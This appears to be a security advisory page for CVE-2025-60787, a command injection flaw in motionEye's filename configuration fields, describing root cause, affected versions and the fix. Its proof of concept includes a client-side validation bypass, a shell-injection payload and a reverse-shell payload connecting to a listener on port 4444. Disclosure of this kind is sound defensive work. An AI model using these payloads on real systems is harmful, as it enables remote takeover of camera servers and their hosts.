CVE-2025-60787: motionEye vulnerable to RCE via unsanitized motion config parameter
Summary A command injection vulnerability in MotionEye allows attackers to achieve Remote Code Execution (RCE) by supplying malicious values in configuration fields exposed via the Web UI. Because MotionEye writes user-supplied values directly into Motion configuration files without sanitization, attackers can inject shell syntax that is executed when the Motion process restarts.
Published Nov 3, 2025
Affected packages
motioneye
- Ecosystem
- PyPI
- Affected
- < 0.43.1b5
- Fixed in
- 0.43.1b5
- Check
pip show motioneye
Advisory details
From the GitHub Advisory Database (CC BY 4.0).
Summary
A command injection vulnerability in MotionEye allows attackers to achieve Remote Code Execution (RCE) by supplying malicious values in configuration fields exposed via the Web UI. Because MotionEye writes user-supplied values directly into Motion configuration files without sanitization, attackers can inject shell syntax that is executed when the Motion process restarts. This issue enables full takeover of the MotionEye container and potentially the host environment (depending on container privileges).
Details
Root Cause:
MotionEye accepts arbitrary strings from fields such as image_file_name and movie_filename in the Web UI. These are written directly into **/etc/motioneye/camera-*.conf**. When MotionEye restarts the Motion service (motionctl.start), the Motion binary reads this configuration. Because Motion treats these fields as shell-expandable, injected characters (e.g. $(), backticks) are interpreted as shell commands.
Vulnerability flow:
Dashboard (Web UI) ↓ ConfigHandler.set_config() ↓ camera-*.conf written ↓ motionctl.restart() ↓ Motion parses config → executes payload
Affected code:
The issue arises in how config.py handles user input before writing to config files. No sanitization or allowlisting is applied to filename fields.
Proof of Concept (PoC)
The following steps reproduce the Remote Code Execution (RCE) vulnerability in MotionEye. Tested using the official Docker image.
---
Environment Setup
- Start MotionEye container Launch the vulnerable container: ``
bash docker run -d --name motioneye -p 9999:8765 ghcr.io/motioneye-project/motioneye:edge``
- Verify version Confirm the running version inside logs: ``
bash docker logs motioneye | grep "motionEye server"`**Result:**`motionEye server 0.43.1b4``
- Container shell access (for verification later) Keep a shell handy to verify results: ``
bash docker exec -it motioneye /bin/bash ls -la /tmp``
---
Exploitation Steps
- Access Web Interface
- Open browser at:
http://127.0.0.1:9999 - Login with default credentials: admin / *(blank password)*
- Add a sample RTSP network camera (required to enable camera-specific settings).
- Attempt malicious filename input
- Go to: Camera Settings → Still Images
- In the Image File Name field, try: ``
bash $(touch /tmp/test).%Y-%m-%d-%H-%M-%S`` - Observation: This is blocked by client-side validation in the browser.
- Client-Side Validation Discovery
- The check is implemented in JavaScript:
/static/js/main.js?v=0.43.1b4→ references/static/js/ui.js?v=0.43.1b4- Example validation function: ``
javascript function configUiValid() { $('div.settings').find('.validator').each(function () { this.validate(); }); var valid = true; $('div.settings input, select').each(function () { if (this.invalid) { valid = false; return false; } }); return valid; }``
- Bypass Validation
- Open browser console (F12 → Console tab)
- Override the function to always return true: ``
javascript configUiValid = function() { return true; };`` - This bypasses client-side validation and allows arbitrary values.
- Inject Payload
- Set Capture Mode:
Interval Snapshots - Set Interval:
10 - Set Image File Name to the payload: ``
bash $(touch /tmp/test).%Y-%m-%d-%H-%M-%S`` - Click Apply to save settings.
- Verify Execution
- Inside the container shell: ``
bash ls -la /tmp`` - Result: File
/tmp/testis created with root permissions, confirming code execution.
---
Weaponizing RCE (Reverse Shell Example)
- Start attacker listener ``
bash nc -lvnp 4444``
- Inject reverse shell payload Enter the following into the Image File Name field: ``
bash $(python3 -c "import os;os.system('bash -c \"bash -i >& /dev/tcp/192.168.0.108/4444 0>&1\"')").%Y-%m-%d-%H-%M-%S``
- Result
- A reverse shell connects back to the attacker’s machine.
- Attacker gains full control of the MotionEye container environment.
---
Root Cause
- MotionEye writes unsanitized values (e.g.,
image_file_name) from the Web UI directly intocamera-<id>.conf. - On restart, the
motionbinary parses these fields as shell-expandable strings, leading to arbitrary command execution.
Impact
Type: OS Command Injection → Remote Code Execution
Who is impacted:
- Any MotionEye deployment where attackers can authenticate as admin (or where the UI is left exposed with default/no password).
- Containerized and bare-metal installs alike.
Potential consequences:
- Full compromise of MotionEye container.
- Lateral movement or host compromise if the container runs with privileged permissions or mounts sensitive host volumes.
Credited to prabhatverma47, MichaIng.
References
How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. No analysis has been written for this entry yet. Methodology
More PyPI vulnerabilities
All PyPI entriesCVE-2026-55488
motionEye's Absolute Path Traversal in Media File Handlers Allows Arbitrary File Read
highJun 23, 2026CVE-2026-55863
motionEye's missing authentication on ActionHandler allows unauthenticated camera action execution
medium5.3Jun 23, 2026GHSA-phv5-334h-mxcw
motionEye Partial Authentication Bypass: Unauthenticated Admin Credential Theft via Path Traversal
critical10.0Jun 23, 2026GHSA-qxvg-h7q2-hcxh
motionEye: LFI → pass‑the‑hash admin → unsafe restore → unauth action exec (RCE)
critical9.8Jun 23, 2026CVE-2026-31978
motionEye has an Arbitrary File Read via Path Traversal in Picture/Movie Preview Endpoint
medium6.5Jun 22, 2026CVE-2026-32315
motionEye's World-Readable Configuration File Exposes Admin Password Hash
medium5.5Jun 22, 2026
